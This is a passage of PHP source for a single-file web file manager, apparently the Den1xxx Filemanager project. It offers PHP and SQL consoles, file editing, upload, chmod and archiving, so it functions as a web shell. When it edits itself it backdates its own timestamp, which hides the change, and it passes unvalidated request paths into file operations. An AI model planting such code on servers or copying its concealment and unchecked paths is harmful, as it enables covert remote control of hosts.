<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_POST['search_recursive'])) {
		ini_set('max_execution_time', '0');
		$search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
		if(!empty($search_data)) {
			$msg .= __('Found in files').' ('.count($search_data).'):<br>';
			foreach ($search_data as $filename) {
				$msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';
			}
		} else {
			$msg .= __('Nothing founded');
		}	
	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
